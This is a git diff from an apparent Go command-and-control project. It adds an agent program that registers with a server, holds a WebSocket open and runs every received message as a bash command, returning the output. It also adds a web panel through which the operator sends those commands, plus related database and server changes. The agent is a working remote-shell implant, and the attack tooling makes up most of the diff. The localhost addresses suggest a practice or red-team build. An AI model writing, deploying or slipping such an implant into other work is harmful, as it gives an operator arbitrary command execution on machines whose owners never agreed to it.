diff --git a/agents/agent.go b/agents/agent.go new file mode 100644 index 0000000..472fa29 --- /dev/null +++ b/agents/agent.go @@ -0,0 +1,118 @@ +package main + +import ( + // "bytes" + // "encoding/json" + "fmt" + "log" + "net/http" + "net/url" + "os/exec" + // "time" + + "github.com/gorilla/websocket" +) + +const( + webServerAddr = "127.0.0.1:3333" + webSocketAddr = "127.0.0.1:5555" + registerURL = "http://" + webServerAddr + "/agents" + wsURL = "ws://" + webSocketAddr + "/ws" +) + +type Agent struct { + AgentName string `json:"agentName"` + AgentID string `json:"agentId"` + InitialContact string `json:"initialContact"` + LastContact string `json:"lastContact"` +} + + +var conn *websocket.Conn + +func registerAgent(agentName string, agentId string) error { + // agent:= Agent{ + // AgentName: agentName, + // InitialContact: time.Now().Format(time.RFC3339), + // LastContact: time.Now().Format(time.RFC3339), + // } + + // jsonData, err := json.Marshal(agent) + // if err != nil { + // return fmt.Errorf("Error marshaling agent data: %v", err) + // } + + // resp, err := http.Post(registerURL, "application/json", bytes.NewBuffer(jsonData)) + + form := url.Values{} + form.Add("agentId", agentId) + form.Add("agentName", agentName) + + resp, err := http.PostForm(registerURL, form) + if err != nil { + return fmt.Errorf("Error registering agent: %v", err) + } + defer resp.Body.Close() + + if resp.StatusCode != http.StatusCreated { + return fmt.Errorf("Failed to register agent, status: %v", resp.Status) + } + + log.Printf("Agent %s successfully registered.", agentName) + return nil +} + + +func connectToWebSocket() error { + var err error + conn, _, err = websocket.DefaultDialer.Dial(wsURL, nil) + if err != nil { + return fmt.Errorf("Failed to connect to WebSocket: %v", err) + } + + log.Println("WebSocket connection established") + return nil +} + +func listenForCommands() { + defer conn.Close() + + for { + _, message, err := conn.ReadMessage() + if err != nil { + log.Printf("Error reading message: %v", err) + break + } + + command := string(message) + log.Printf("Received command: %s", command) + + cmd := exec.Command("bash", "-c", command) + output, err := cmd.CombinedOutput() + if err != nil { + output = append(output, []byte(fmt.Sprintf("\n Error executing command: %v", err))...) + } + + if err := conn.WriteMessage(websocket.TextMessage, output); err != nil { + log.Printf("Error sending output: %v", err) + break + } + + log.Printf("Output sent to server.") + } +} + +func main() { + agentName := "Agent-001" + agentId := "1234" + + if err := registerAgent(agentName, agentId); err != nil { + log.Fatalf("Agent registration failed: %v", err) + } + + if err := connectToWebSocket(); err != nil { + log.Fatalf("Websocket connection failed: %v", err) + } + + listenForCommands() +} diff --git a/agents/agents b/agents/agents new file mode 100755 index 0000000..09e9233 Binary files /dev/null and b/agents/agents differ diff --git a/gomatic.sql b/gomatic.sql index 9636525..31784ca 100644 --- a/gomatic.sql +++ b/gomatic.sql @@ -2,10 +2,13 @@ drop table if exists agents; create table agents ( + id UUID default uuid() Primary Key, agentId int, agentName varchar(255), + IPv4Address varchar(15), initialContact timestamp, - lastContact timestamp + lastContact timestamp, + status Boolean ); -insert into agents values ( 99, "testAgent", NOW(), NOW()); +insert into agents (agentId, agentName, initialContact, lastContact) values ( 99, "testAgent", NOW(), NOW()); diff --git a/main.go b/main.go index 9f55e3e..5a7ff8b 100644 --- a/main.go +++ b/main.go @@ -8,8 +8,8 @@ import ( // "errors" "fmt" - "io" - "io/ioutil" + // "io" + // "io/ioutil" // "net" "database/sql" @@ -83,80 +83,80 @@ func initDB () { log.Println("Connected to database") } -func fetchAgents(w http.ResponseWriter, r *http.Request) { - agents, _ := getAgents(db) +// func fetchAgents(w http.ResponseWriter, r *http.Request) { +// agents, _ := getAgents(db) - log.Printf("%s",agents) - tmpl.ExecuteTemplate(w, "agentList", agents) -} +// log.Printf("%s",agents) +// tmpl.ExecuteTemplate(w, "agentList", agents) +// } -func getAgents(dbPointer *sql.DB) ([]Agent, error) { - query := "Select agentId, agentName, initialContact, lastContact from agents" - rows, err := dbPointer.Query(query) +// func getAgents(dbPointer *sql.DB) ([]Agent, error) { +// query := "Select agentId, agentName, initialContact, lastContact from agents" +// rows, err := dbPointer.Query(query) - if err != nil { - return nil, err - } - defer rows.Close() +// if err != nil { +// return nil, err +// } +// defer rows.Close() - var agents []Agent - for rows.Next() { - var agent Agent +// var agents []Agent +// for rows.Next() { +// var agent Agent - rowErr := rows.Scan(&agent.AgentID, &agent.AgentName, &agent.InitialContact, &agent.LastContact) - if rowErr != nil { - return nil, err - } - agents = append(agents, agent) - } +// rowErr := rows.Scan(&agent.AgentID, &agent.AgentName, &agent.InitialContact, &agent.LastContact) +// if rowErr != nil { +// return nil, err +// } +// agents = append(agents, agent) +// } - if err = rows.Err(); err != nil { - return nil, err - } +// if err = rows.Err(); err != nil { +// return nil, err +// } - return agents, nil - // return agents, rows.Err() -} +// return agents, nil +// // return agents, rows.Err() +// } -func getRoot(w http.ResponseWriter, r *http.Request) { - ctx := r.Context() +// func getRoot(w http.ResponseWriter, r *http.Request) { +// ctx := r.Context() - hasFirst := r.URL.Query().Has("first") - first := r.URL.Query().Get("first") - hasSecond := r.URL.Query().Has("second") - second := r.URL.Query().Get("second") +// hasFirst := r.URL.Query().Has("first") +// first := r.URL.Query().Get("first") +// hasSecond := r.URL.Query().Has("second") +// second := r.URL.Query().Get("second") - body, err := ioutil.ReadAll(r.Body) +// body, err := ioutil.ReadAll(r.Body) - if err != nil { - fmt.Printf("Could not read body: %s\n", err) - } +// if err != nil { +// fmt.Printf("Could not read body: %s\n", err) +// } - fmt.Printf("%s: got / request. first(%t)=%s, second(%t)=%s body:\n%s\n", - ctx.Value(keyServerAddr), - hasFirst, first, - hasSecond, second, - body, - ) +// fmt.Printf("%s: got / request. first(%t)=%s, second(%t)=%s body:\n%s\n", +// ctx.Value(keyServerAddr), +// hasFirst, first, +// hasSecond, second, +// body, +// ) - // fmt.Printf("%s: got / request\n", ctx.Value(keyServerAddr)) - io.WriteString(w, "This is my website!\n") -} +// // fmt.Printf("%s: got / request\n", ctx.Value(keyServerAddr)) +// io.WriteString(w, "This is my website!\n") +// } -func getHello(w http.ResponseWriter, r *http.Request) { - ctx := r.Context() +// func getHello(w http.ResponseWriter, r *http.Request) { +// ctx := r.Context() - fmt.Printf("%s: go /hello request\n", ctx.Value(keyServerAddr)) +// fmt.Printf("%s: go /hello request\n", ctx.Value(keyServerAddr)) - myName := r.PostFormValue("myName") - if myName == "" { - w.Header().Set("x-missing-field", "myName") - w.WriteHeader(http.StatusBadRequest) - return - } +// myName := r.PostFormValue("myName") +// if myName == "" { +// w.Header().Set("x-missing-field", "myName") +// w.WriteHeader(http.StatusBadRequest) +// return +// } - io.WriteString(w, fmt.Sprintf("Hello, %s!\n", myName)) -} +// io.WriteString(w, fmt.Sprintf("Hello, %s!\n", myName)) +// } func getHomepage(w http.ResponseWriter, r *http.Request) { tmpl.ExecuteTemplate(w, "index.html", nil) @@ -242,7 +242,7 @@ func createAgent(w http.ResponseWriter, r * http.Request) { } agentName := r.FormValue("agentName") - agentId := 42 + agentId := r.FormValue("agentId") // initalContact := r.FormValue("initialContact") // lastContact := r.FormValue("lastContact") @@ -253,6 +253,7 @@ func createAgent(w http.ResponseWriter, r * http.Request) { return } + w.WriteHeader(http.StatusCreated) listAgents(w, r) } @@ -296,32 +297,28 @@ func getAgentsFromDB() ([]Agent, error) { return agents, rows.Err() } -func agentHandler(w http.ResponseWriter, r *http.Request) { - parts := strings.Split(strings.TrimPrefix(r.URL.Path, "/agents/"), "/") - if len (parts) < 1 || parts[0] == "" { - http.Error(w, "Agent ID required", http.StatusBadRequest) - return - } +// func agentHandler(w http.ResponseWriter, r *http.Request) { +// parts := strings.Split(strings.TrimPrefix(r.URL.Path, "/agents/"), "/") +// if len (parts) < 1 || parts[0] == "" { +// http.Error(w, "Agent ID required", http.StatusBadRequest) +// return +// } - agentId := parts[0] +// agentId := parts[0] - switch r.Method { - case http.MethodGet: - getAgent(w, r, agentId) - // case http.MethodPost: - // createAgent(w, r, agentId) - // case http.MethodPut: - // updateAgent(w, r, agentId) - // case http.MethodDelete: - // deleteAgent(w, r, agentId) - default: - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - } -} - -type webSocketHandler struct { - upgrader websocket.Upgrader -} +// switch r.Method { +// case http.MethodGet: +// getAgent(w, r, agentId) +// // case http.MethodPost: +// // createAgent(w, r, agentId) +// // case http.MethodPut: +// // updateAgent(w, r, agentId) +// // case http.MethodDelete: +// // deleteAgent(w, r, agentId) +// default: +// http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) +// } +// } func getAgent(w http.ResponseWriter, r *http.Request, agentId string) { query := "Select agentId, agentName, initialContact, lastContact from agents where agentId = ?" @@ -341,6 +338,10 @@ func getAgent(w http.ResponseWriter, r *http.Request, agentId string) { } +type webSocketHandler struct { + upgrader websocket.Upgrader +} + func (wsh webSocketHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { c, err := wsh.upgrader.Upgrade(w, r, nil) if err != nil { diff --git a/templates/index.html b/templates/index.html index bb9faec..b21d8e1 100644 --- a/templates/index.html +++ b/templates/index.html @@ -27,6 +27,15 @@
+
+

Command Execution

+
+ + +
+

+            
+
diff --git a/templates/partials/agent_list.html b/templates/partials/agent_list.html index 739cf1a..6752e8a 100644 --- a/templates/partials/agent_list.html +++ b/templates/partials/agent_list.html @@ -16,7 +16,7 @@ {{.InitialContact}} {{.LastContact}} - +